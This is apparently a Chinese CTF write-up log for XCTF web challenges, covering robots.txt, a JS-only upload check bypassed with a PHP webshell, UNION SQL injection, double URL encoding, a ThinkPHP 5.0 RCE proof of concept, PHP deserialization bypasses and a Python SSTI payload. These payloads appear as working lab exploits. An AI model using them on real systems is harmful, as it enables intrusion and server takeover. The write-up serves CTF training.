• 攻防世界 web 进阶区 刷题记录


    Training-WWW-Robots(robots协议)

    题目提示了robots协议,直接访问robots.txt

    继续访问fl0g.php

    baby_web

    题目描述:想想初始页面是哪个
    百度搜了下,index.php是php首页文件
    访问index.php,又跳转到1.php
    burpsuite抓包(抓index.php的包)

    upload1(文件上传-js验证)

    1、查看源代码:

    Array.prototype.contains = function (obj) {  
        var i = this.length;  
        while (i--) {  
            if (this[i] === obj) {  
                return true;  
            }  
        }  
        return false;  
    }  
    
    function check(){
    upfile = document.getElementById("upfile");
    submit = document.getElementById("submit");
    name = upfile.value;
    ext = name.replace(/^.+./,'');
    
    if(['jpg','png'].contains(ext)){
    	submit.disabled = false;
    }else{
    	submit.disabled = true;
    
    	alert('请选择一张图片文件上传!');
    }
    }
    

    1、只允许上传jpg、png,上传一个扩展名为png的一句话木马


    2、用burpsuite抓包后,将filename改为1.php
    3、连上antisword

    ics-06(bp爆破)

    1、打开页面后,只有报表中心点击有反应,发现url参数id为1,用burpsuite爆破id的值。

    NewsCenter(简单sql注入)

    只有一个搜索框,尝试sql注入
    1、爆列数

    ' order by 1#
    

    ->3个字段
    2、爆库名:

    1' union select 1,1,database()#
    


    ->库名:news
    3、爆表名:

    1' union select 1,1,table_name from information_schema.tables where table_schema='news'#
    


    ->表名:news,secret_table
    4、爆列名:

    1' union select 1,1,column_name from information_schema.columns where table_name='secret_table'#
    



    果然,news表应该是正常的那张表
    ->字段名:id,fl4g
    5、

    1' union select 1,1,fl4g from secret_table#
    

    PHP2(.phps源码泄露&url二次编码绕过)


    1、网页显示 您可以访问该网站吗?
    用御剑扫了一下,访问index.php,网页没有变化,搜了下wp,原来是index.phps

    phps文件就是php的源代码文件,通常用抄于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件袭的内容,所以需要百用phps文件代替。
    其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通度用,所以才用了phps文件类型。

    发现源码:

    因为在url输入非ascii码的字符或字符串,网站会自动进行一次urldecode,比如输入id=%64,网站会自动把%64解析为d(试试)
    还有第7行的urlencode(),所以对admin中的一个字符进行url二次编码绕过
    百度url编码表,?id=a%2564min

    php_rce

    考点:thinkphp v5.0 RCE
    参考:ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析

    解题

    DdDPpR.png
    1、thinkphp v5.0 POC:

    命令执行:?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]
    

    2、查看根目录文件:

    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
    

    DdrnbT.png
    3、读flag:

    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
    

    unserialize3

    考点:PHP反序列化

    解题

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=
    

    1、由于执行unserialize()时会自动调用__wakeup()方法,即如果存在__wakeup(),则会优先调用 __wakeup()方法。要绕过__wakeup(),又知道构造序列化当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup()的执行。
    构造序列化:

    <?php
    class xctf{
        public $flag = '111';
        public function __wakeup(){
            exit('bad requests');
        }
    }
    $a = new xctf();
    echo serialize($a);
    
    O:4:"xctf":1:{s:4:"flag";s:3:"111";}
    

    把属性个数改大点,最终payload:

    ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    

    Web_python_template_injection

    考点:python SSTI

    解题

    1、/{{7*7}}
    存在SSTI
    2、

    /{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
    
    
    /{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
    

    Web_php_unserialize

    考点:php反序列化

    知识点

    1、unserialize()会检查是否存在一个__wakeup方法。如果存在,则会先调用 __wakeup方法,预先准备对象需要的资源。
    2、当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
    3、private属性被序列化的时候属性值会变成%00类名%00属性名

    解题

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>
    

    1、代码审计,代码的执行过程:传入var,base64解密,检测正则,__wakeup(),反序列化。
    要绕过:

    • preg_match('/[oc]:d+:/i', $var)
    • __wakeup()

    2、

    preg_match('/[oc]:d+:/i', $var)
    
    • [oc] 从列表[oc] (区分大小写) 中匹配一个单字符,就是匹配1个o或c
    • : 按字面匹配字符:,(区分大小写)
    • d+匹配1到无穷次数字字符
    • /i忽略大小写

    O:4:"test":2:{s:2:"id";s:3:"Hh0";s:3:"age";i:21;}正常一个序列化是这样子,用O:+4绕过正则
    3、

    <?php
    class Demo {
        private $file = "fl4g.php";
    }
    $a = new Demo();
    $b = serialize($a);
    $b = str_replace("O:4","O:+4",$b);
    $b = str_replace(":1:",":2:",$b);
    echo base64_encode($b);
    

    TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

    注意这里类中的属性用的是private,在进行base64编码时得用php函数,用在线的编码不行。

  • 相关阅读:
    JStorm开发经验+运维经验总结
    Storm-166:Nimbus HA solution based on Zookeeper
    Storm实战集锦
    JStorm之Nimbus简介
    BF算法 + KMP算法
    分布式消息系统:Kafka
    分布式服务框架:Zookeeper简介
    修改JSONArray里所有key的值
    JQuery中$.ajax()方法参数详解
    java利用16进制来辨别png格式的图片
  • 原文地址:https://www.cnblogs.com/wrnan/p/12228467.html
Copyright © 2020-2023  润新知